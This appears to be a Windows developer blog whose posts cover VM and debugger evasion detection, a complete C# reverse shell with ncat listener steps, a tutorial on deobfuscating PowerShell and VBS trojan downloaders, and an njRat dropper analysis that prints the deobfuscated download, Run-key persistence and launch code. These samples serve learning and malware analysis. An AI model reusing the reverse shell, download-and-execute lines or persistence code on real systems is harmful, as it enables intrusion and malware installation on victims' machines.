I wrote some proof-of-concept code for detecting virtual machine and/or debugger environment. The code is available at GitHub. The code is not a complete collection of the all evasion techniques, just a few simple things to detect VM and/or debugger.
Here is how the application looks in the hosting OS i.e. Windows 10:
It has a false positive result in "Detect VM". The reason for this can be seen in the process list where it finds "vmware-authd" process. All the other indicators are however "negative".
Here is the same thing done in the Oracle VirtualBox environment with Windows 7:
Again it detects VM by process name(s). But now there are other indicators too: small system drive (under 128 GB), no BIOS serial number and finally WMI returns "VirtualBox" as system model. This is definitely a virtual machine.
Finally VMware player with Windows 8.1:
Once again it detects VM by process name(s). Other indicators are: small system drive and WMI returns "VMware Virtual Platform" as system model. These are also strong indicators for VM.
If you like to try the source code there is one point you may have to take into account. I got the following error message in VS2017:
There are many reasons why you could get this "Unable to copy file..." and "Could not find file..." error message. In this case it was F-Secure SAFE that detected object code as malicious and thus deleted the file. The workaround, if you get the same error, is to whitelist the source code folder in your AV product.
Windows Developer Blog
I decided to continue my professional blog after a few years. The blog reflects now my current interests: CSharp programming, malware analysis and deobfuscation techniques. This blog was originally about Visual Basic.NET programming tips and sample source code.
Tuesday, January 8, 2019
Wednesday, December 26, 2018
Windows Reverse Shell With CSharp
I was quite
unfamiliar with the reverse shells so I wanted to understand the concept and
learn to make one of my own. I started googling and there were many examples
available for Linux environment. However, I wanted to get a reverse shell
between two Windows machines. I found one example and that was written with
CSharp which was even better: https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
I did not
get the sample code to work which had much to do with my lack of understanding.
But every failure is a great learning opportunity. I modified the original code
and the final code I came up with accepts command line parameters. So here is
my CSharp code for reverse shell:
using
System;
using
System.Text;
using
System.IO;
using
System.Diagnostics;
using
System.Net.Sockets;
namespace
RevShell
{
class Program
{
static StreamWriter streamWriter;
static Process p;
//
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
//
https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc
static void Main(string[] args)
{
TcpClient client = null;
Stream stream;
StreamReader streamReader;
StringBuilder strInput;
string ipAddress =
"127.0.0.1";
int port = 0;
// Commandline has IP and port number
if(args.Length == 2)
{
ipAddress = args[0];
if (int.TryParse(args[1], out
port))
{
// Port number 1 - 65535
if (port < 1 || port
> 65535) port = 80;
}
} // Commandline has port number
else if(args.Length == 1)
{
if(int.TryParse(args[0], out
port))
{
// Port number 1 - 65535
if (port < 1 || port
> 65535) port = 80;
}
}
if (port == 0) port = 80; // Use
default
try
{
// Connect to host
client = new TcpClient(ipAddress, port);
Console.WriteLine("Connecting: " + ipAddress + ":" +
port);
}
catch(Exception ex)
{
Console.WriteLine("Exception: " + ex.Message);
return;
}
stream = client.GetStream();
streamReader = new
StreamReader(stream);
streamWriter = new
StreamWriter(stream);
strInput = new StringBuilder();
// Create and start a shell in the
client machine, redirect I/O to host machine
p = new Process();
p.StartInfo.FileName =
"cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute =
false;
p.StartInfo.RedirectStandardOutput
= true;
p.StartInfo.RedirectStandardInput =
true;
p.StartInfo.RedirectStandardError =
true;
p.OutputDataReceived += new
DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.StandardInput.AutoFlush = true;
p.BeginOutputReadLine();
while (true)
{
try
{
string line =
streamReader.ReadLine();
if (!string.IsNullOrEmpty(line))
{
p.StandardInput.WriteLine(line);
}
}
catch(Exception ex)
{
Console.WriteLine("Exception: " + ex.Message);
break;
}
}
}
private static void
CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new
StringBuilder();
if
(!String.IsNullOrEmpty(outLine.Data))
{
try
{
string line = outLine.Data;
if(!string.IsNullOrEmpty(line))
{
streamWriter.WriteLine(line);
streamWriter.Flush();
}
}
catch (Exception ex)
{
Console.WriteLine("Exception:
" + ex.Message);
}
}
}
}
}
As this is a
purely proof-of-concept code, it does not have any persistence or stealthy
features.
The reverse
shell contains two parts. First part is the shell itself which in the code
above is cmd.exe. The second part is the communication from the
"victim" machine back to caller's "server" which is done
with the TCP Socket. Command shell is started as a new process and the process'
standard input, output and error streams are redirected to the TCP Socket which
in turn sends them to the caller.
The next
problem was the "server" or caller side. There had to be some way to connect
to the same TCP Socket. Every example I found used Linux's netcat command for
this. With some more googling I found out that NMAP contains a Windows implementation
of the netcat. So I downloaded Ncat utility: https://nmap.org/ncat/
Start Ncat with -l and -v options to get it to listen mode and verbose mode.
Start reverse shell in the "victim" machine.
Sunday, December 23, 2018
Deobfuscating Trojan downloader scripts i.e. basics to get you started
This is an entry level view to understand scripting used by downloaders and by other malware. I assume no previous knowledge of scripting and the goal is to make the reader familiar with this topic. First I introduce scripting engines (shells) commonly used by downloaders. At the end I provide a few step-through of selected samples.
Commands and command line switches found in malware
First a few words about notation:
· * DOS
commands may use either forward slash (/) or hyphen (-) as a switch character,
so cmd.exe /c and cmd.exe -c are the same commands. Powershell uses only hyphen
(-)
· *
commands
are written in lowercase, if possible. In the real samples, it is common that
they are written in mixed case for example: C:\WiNDOws\sYStEm32\CMD.EXE /C. In
general the scripting languages are case-insensitive
· *
Powershell
has a "standard form" for commands for example Invoke-Command which
may be written as invoke-command in this document
· *
as
a rule of thumb DOS and Vbscript use double-quotes with strings and Powershell
uses single-quotes. There are however exceptions for this rule
DOS Commands
cmd.exe /c [string]
/c Carries
out the command specified by string and then terminates command shell.
start.exe /b [string] Starts a separate window to run a specified
program or command
/b Start
application without creating a new window
Powershell
About notation:
·
commands
and command switches are represented both with their shortest and full form for
example -w[indowstyle] means that the switch can be between -w and -windowstyle
and it may contain any number of characters from [indowstyle] part like -wind
powershell -noexit -nol -noninteractiv -noprofile
-execution bypass -windows hidden [string] |IEX
-noe[xit] Doesn't
exit after running commands
-nol[ogo] Hides
the copyright banner at startup
-noni[nteractive] Doesn't
present an interactive prompt to the user
-nop[rofile] Doesn't load
the PowerShell profile
-ex[ecutionpolicy] Sets
the default execution policy for the current session and saves it in the $env:PSExecutionPolicyPreference environment variable. Value bypass: nothing is
blocked and there are no warnings or prompts.
-w[indowstyle] Sets
the window style for the session. Value hidden: no window is shown
[string] A
command string or script block
IEX Invoke-Expression command
powershell.exe -nop -w hidden -c
[string]
-c[ommand] Executes the specified commands (with any parameters)
as though they were typed at the PowerShell command prompt.
powershell -nop -sta
-w 1 -enc [string]
-sta Starts
PowerShell using a single-threaded apartment. This is usually obsolete setting
to distract analysis
-e[ncodedcommand] Accepts a base-64-encoded string
as a command
-w 1 Same as
-windows hidden, now the value hidden is replaced with a numeric constant
A sample step-through
Here is
a very simple downloader sample which I found at Pastebin.
powershell.exe
-nop -w hidden -c $l=new-object net.webclient;$l.proxy=[Net.WebRequest]::GetSystemWebProxy();$l.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX
$l.downloadstring('http://192.168.0.10:8080/E1Y8TdrQEfw');
For the
sake of clarity I have divided a single long string with linebreaks. I have
also added linenumbers.
1.
powershell.exe -nop -w hidden -c
2.
$l=new-object net.webclient;
3.
$l.proxy=[Net.WebRequest]::GetSystemWebProxy();
4.
$l.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;
5. IEX $l.downloadstring('http://192.168.0.10:8080/E1Y8TdrQEfw');
Steps:
1. Invoke Powershell with no
execution policy, hidden window and execute following commands
2. Create a WebClient object and
assign object to variable l
3. Assign proxy settings to variable
I's proxy property
4. Set proxy credentials
5. Invoke expression "I.downloadstring" which has string
parameter 'http://192.168.0.10:8080/E1Y8TdrQEfw'
Here is
another sample from Pastebin.
Set usdbzw
= CreateObject("WScript.Shell")
usdbzw.Run
"powershell $gscbut = New-Object -ComObject Msxml2.XMLHTTP; $hgttbdy =
New-Object -ComObject ADODB.Stream; $zteyxhj = $env:temp +
'\Dropbo.exe';$gscbut.open('GET', 'http://team.hitweb.it/tes2t?12143', $false);$gscbut.send();
if($gscbut.Status -eq "200"){$hgttbdy.open();$hgttbdy.type =
1;$hgttbdy.write($gscbut.responseBody);$hgttbdy.position =
0;$hgttbdy.savetofile($zteyxhj);$hgttbdy.close();} Start-Process
$zteyxhj;",0, true
Here is the
sample with linebreaks and linenumbers.
1. Set usdbzw =
CreateObject("WScript.Shell")
2. usdbzw.Run
3. "powershell
4. $gscbut = New-Object -ComObject
Msxml2.XMLHTTP;
5. $hgttbdy = New-Object -ComObject
ADODB.Stream;
6. $zteyxhj = $env:temp + '\Dropbo.exe';
7. $gscbut.open('GET',
'http://team.hitweb.it/tes2t?12143', $false);
8. $gscbut.send();
9. if($gscbut.Status -eq "200")
10. {$hgttbdy.open();
11. $hgttbdy.type = 1;
12. $hgttbdy.write($gscbut.responseBody);
13. $hgttbdy.position = 0;
14. $hgttbdy.savetofile($zteyxhj);
15. $hgttbdy.close();}
16. Start-Process $zteyxhj;"
17. ,0,
true
Steps:
1.-2. and
17. Create VBScipt shell object and execute string. Create no window and wait
the script to finish
3. The
string contains Powershell script
4. Create XMLHTTP
object
5. Create ADODB.Stream
object
6. Create a
temporary file %TEMP%\Dropbo.exe
7.-8. Open
HTTP connection
9. Check if
the connection was established
10.-15.
Read the HTTP response stream and write it to temporary file %TEMP%\Dropbo.exe
16. Execute
%TEMP%\Dropbo.exe
Thursday, November 22, 2018
Analysing njRat a.k.a Generic.MSIL.Bladabindi downloader
Yesterday (21.11.2018) njRat a.k.a Worm.VBS.Dinihou.au dropper code was set to
pastebin.com. It was still available today in https://pastebin.com/W1yyfPiy. The
dropper downloads and persists excutable which is known as Generic.MSIL.Bladabindi.1E8DC4B3
VBS code downloads an
executable with SHA256 hash c26f8c36052c150625a0e2e2676af5fa7e7d222bb2343720a66d48c7a9855256
and it can be found on VirusTotal https://www.virustotal.com/#/file/c26f8c36052c150625a0e2e2676af5fa7e7d222bb2343720a66d48c7a9855256/detection
VBS code itself can be found as https://www.virustotal.com/#/file/6a4523e7eb200e1a3b22805d525b1eb0409388df118f524d7c4e64fc7a514274/detection
Script code contains very long obfuscated lines. Firstly
I dissected long lines shorter and prefixed then. So I got the following code:
str = Chr(27 + 84) & Chr(16 + 94) & Chr(-12 + 44) & Chr(18 + 83) & Chr(60 + 54) & Chr(51 + 63) & Chr(205 - 94)
str = str & Chr(43 + 71) & Chr(60 - 28) & Chr(41 + 73) & Chr(60 + 41) & Chr(7475 / 65) & Chr(135 - 18) & Chr(118 - 9)
.
.
.
str = str & Chr(64 + 18) & Chr(19 + 93) & Chr(147 - 33) & Chr(37 * 3) & Chr(140 - 41) & Chr(171 - 70) & Chr(62 + 53)
str = str & Chr(80 + 35) & Chr(40 - 27) & Chr(780 / 78)
? str
Deobfuscated code is a VB script code too:
on error resume next
WScript.Sleep 60
Dim ofso
Set ofso = CreateObject("Scripting.FileSystemObject")
CreerRep("C:\ProgramData\Adobe\system32\")
Sub CreerRep(Chemin)
If Not ofso.FolderExists(chemin) Then
CreerRep(ofso.GetParentFolderName(chemin))
ofso.CreateFolder(chemin)
End If
End Sub
dim SSSSS
dim process
dim PPPPP
set SSSSS = CreateObject("Microsoft.XMLHTTP")
set process = CreateObject("WScript.shell")
Set PPPPP = createobject("Adodb.Stream")
URL = "https://c.top4top.net/p_1055q1ssb1.jpg"
Rprocess = "C:\ProgramData\Adobe\system32\process.exe"
SSSSS.open "GET", URL, False
SSSSS.send
with PPPPP
.type = 1 '//binary
.open
.write SSSSS.responseBody
.savetofile "C:\ProgramData\Adobe\system32\process.exe", 2
end with
Set ObjetRegedit = CreateObject("WScript.Shell")
CleRegistre = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\CPU64"
ObjetRegedit.RegWrite CleRegistre, "C:\ProgramData\Adobe\system32\CPU64.exe", "REG_SZ"
CleRegistre = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\process"
ObjetRegedit.RegWrite CleRegistre, "C:\ProgramData\Adobe\system32\process.exe", "REG_SZ"
CleRegistre = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\dekstop"
ObjetRegedit.RegWrite CleRegistre, "C:\ProgramData\Adobe\system32\dekstop.ini.vbs", "REG_SZ"
Set ObjetRegedit = Nothing
WScript.Sleep 6000
process.run Rprocess
First the code creates C:\ProgramData\Adobe\system32\
folder for the final executable. Next an
XMLHTTP object is created. Object downloads a jpeg-image from https://c.top4top.net/p_1055q1ssb1.jpg
which is at this moment still available. The file is of course not an image but
njRat executable. The file saved as C:\ProgramData\Adobe\system32\process.exe.
For persisting the executable, the script uses Windows
Registry. The script code creates three new keys under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run,
namely: CPU64, process and dekstop (yes it has a typo). Registry key values
are: C:\ProgramData\Adobe\system32\CPU64.exe, C:\ProgramData\Adobe\system32\process.exe
and C:\ProgramData\Adobe\system32\dekstop.ini.vbs respectively. So it seems that the first and third
registry keys are redundant and only HKCU \Software\Microsoft\Windows\CurrentVersion\Run\process
key does persist this malware.
Finally script code uses WScript.shell object to launch
downloaded payload.
Subscribe to:
Posts (Atom)